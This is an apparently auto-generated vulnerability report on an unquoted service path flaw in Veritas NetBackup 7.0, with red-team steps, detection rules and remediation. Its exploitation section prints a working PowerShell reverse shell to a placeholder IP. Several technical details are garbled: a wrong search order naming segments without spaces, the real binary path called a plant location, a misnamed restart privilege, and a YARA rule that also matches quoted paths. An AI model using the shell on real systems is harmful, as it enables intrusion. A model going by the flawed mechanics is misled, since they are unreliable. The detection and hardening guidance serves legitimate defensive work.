CVE-2020-37045

Executive Summary

CVE-2020-37045 is a local privilege escalation vulnerability in Veritas NetBackup 7.0, stemming from an unquoted service path in the NetBackup INET Daemon service. The service binary is located at C:/Program Files/Veritas/NetBackup/bin/bpinetd.exe. Because the path contains spaces and is not enclosed in quotes, Windows will search for the executable in multiple locations, allowing a local attacker to place a malicious executable in a higher-priority directory (e.g., C:\Program.exe or C:\Program Files\Veritas\NetBackup\bin\bpinetd.exe). When the service starts, the injected code executes with LocalSystem privileges, granting full control over the host.

This vulnerability is classified as CWE-428 (Unquoted Search Path or Element) and is mapped to MITRE ATT&CK technique T1574.009 (Path Interception by Unquoted Path). The CVSS v3.1 base score is 7.8 (High) with a vector of AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H. No official patch has been released; mitigation relies on manual configuration changes.

Supply Chain & Package Security

This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby). It is a standalone software installation issue in Veritas NetBackup 7.0.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) – attacker must have local access to the system.
• Attack Complexity (AC): Low (L) – no special conditions required.
• Privileges Required (PR): Low (L) – attacker needs standard user privileges.
• User Interaction (UI): None (N) – no user action needed.
• Scope (S): Unchanged (U) – the vulnerable component and the impacted component are the same.
• Confidentiality (C): High (H) – full file system access.
• Integrity (I): High (H) – arbitrary code execution.
• Availability (A): High (H) – potential denial of service or system compromise.

Threat Level: High. Local privilege escalation to SYSTEM can lead to full host takeover, lateral movement, and data exfiltration.

Deep Dive & Mechanics

The vulnerability exists because the NetBackup INET Daemon service is configured with an unquoted service path. When Windows starts a service, it uses the CreateProcess API, which parses the executable path. If the path contains spaces and is not enclosed in double quotes, Windows will attempt to locate the executable by iterating through each space-separated segment.

For example, with the path C:\Program Files\Veritas\NetBackup\bin\bpinetd.exe, Windows will first try:

1. C:\Program.exe
2. C:\Program Files\Veritas.exe
3. C:\Program Files\Veritas\NetBackup.exe
4. C:\Program Files\Veritas\NetBackup\bin\bpinetd.exe

If an attacker places a malicious executable named Program.exe in C:\, it will be executed with LocalSystem privileges when the service starts. The attacker must have write access to the target directory (e.g., C:\), which is often writable by standard users on older Windows systems.

Vulnerable vs. Patched Code

Vulnerable Configuration (Veritas NetBackup 7.0): The service path is stored in the Windows Registry under HKLM\SYSTEM\CurrentControlSet\Services\NetBackup INET Daemon with the ImagePath value set to:

C:\Program Files\Veritas\NetBackup\bin\bpinetd.exe

No quotes are used.

Patched Configuration (Recommended): The service path should be enclosed in double quotes:

"C:\Program Files\Veritas\NetBackup\bin\bpinetd.exe"

This prevents Windows from interpreting spaces as separators.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Local access to a Windows host running Veritas NetBackup 7.0.
• Write access to C:\ (or another directory in the unquoted path).
• Ability to restart the service (requires SeShutdownPrivilege or admin rights, but the service may restart automatically).

Exploit Steps:

1. Create a malicious executable (e.g., Program.exe) that spawns a reverse shell or adds a local admin user.
2. Place the executable in C:\Program.exe.
3. Trigger a service restart (e.g., via sc stop "NetBackup INET Daemon" and sc start "NetBackup INET Daemon").
4. The malicious C:\Program.exe executes with LocalSystem privileges.

Example Payload (PowerShell reverse shell):

# Save as Program.exe (compiled from C# or using msfvenom)
$client = New-Object System.Net.Sockets.TCPClient('10.0.0.1',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Blue Team

Detection:

• Monitor for creation of files named Program.exe, Program Files.exe, or Veritas.exe in C:\ or other writable directories.
• Alert on service path modifications in the registry (Event ID 4657).
• Use Sysmon Event ID 1 (Process Creation) to detect execution from unexpected paths.

Prevention:

• Enforce the principle of least privilege: restrict write access to C:\ for standard users.
• Use Group Policy to enforce quoted service paths.
• Deploy application whitelisting (e.g., AppLocker) to block unauthorized executables.

Indicators of Compromise (IOCs)

• File: C:\Program.exe, C:\Program Files.exe, C:\Program Files\Veritas.exe
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\NetBackup INET Daemon\ImagePath containing unquoted path
• Process: Program.exe or Veritas.exe running from C:\ with parent process services.exe
• Network: Outbound connections from Program.exe to attacker-controlled IPs (if reverse shell used)

Detection Engineering

YARA Rule

rule CVE_2020_37045_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for NetBackup INET Daemon"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37045"
    strings:
        $reg_path = "NetBackup INET Daemon" nocase
        $unquoted = "C:\\Program Files\\Veritas\\NetBackup\\bin\\bpinetd.exe" nocase
    condition:
        $reg_path and $unquoted
}

Sigma Rule

title: Unquoted Service Path - NetBackup INET Daemon
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unquoted service path for NetBackup INET Daemon (CVE-2020-37045)
author: Valters IT
logsource:
    product: windows
    service: sysmon
detection:
    selection:
        EventID: 1
        Image|endswith: '\\Program.exe'
        ParentImage|endswith: '\\services.exe'
    condition: selection
falsepositives:
    - Legitimate software named Program.exe (rare)
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"CVE-2020-37045 Potential Reverse Shell"; flow:to_server,established; content:"|0d 0a|PS "; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Manually quote the service path:
   • Open Registry Editor (regedit.exe).
   • Navigate to HKLM\SYSTEM\CurrentControlSet\Services\NetBackup INET Daemon.
   • Modify the ImagePath value to: "C:\Program Files\Veritas\NetBackup\bin\bpinetd.exe".
   • Restart the service.
2. Restrict write permissions to C:\ and other root directories for non-admin users.
3. Enable Windows Defender Exploit Guard or AppLocker to block execution from writable paths.

Long-Term:

• Upgrade to a supported version of Veritas NetBackup (if available).
• Implement a configuration management tool (e.g., Ansible, DSC) to enforce quoted service paths across the enterprise.
• Conduct regular vulnerability scans for unquoted service paths.

Valters IT Signature: This report was generated by Valters IT – DevSecOps & Cyber Threat Intelligence Division.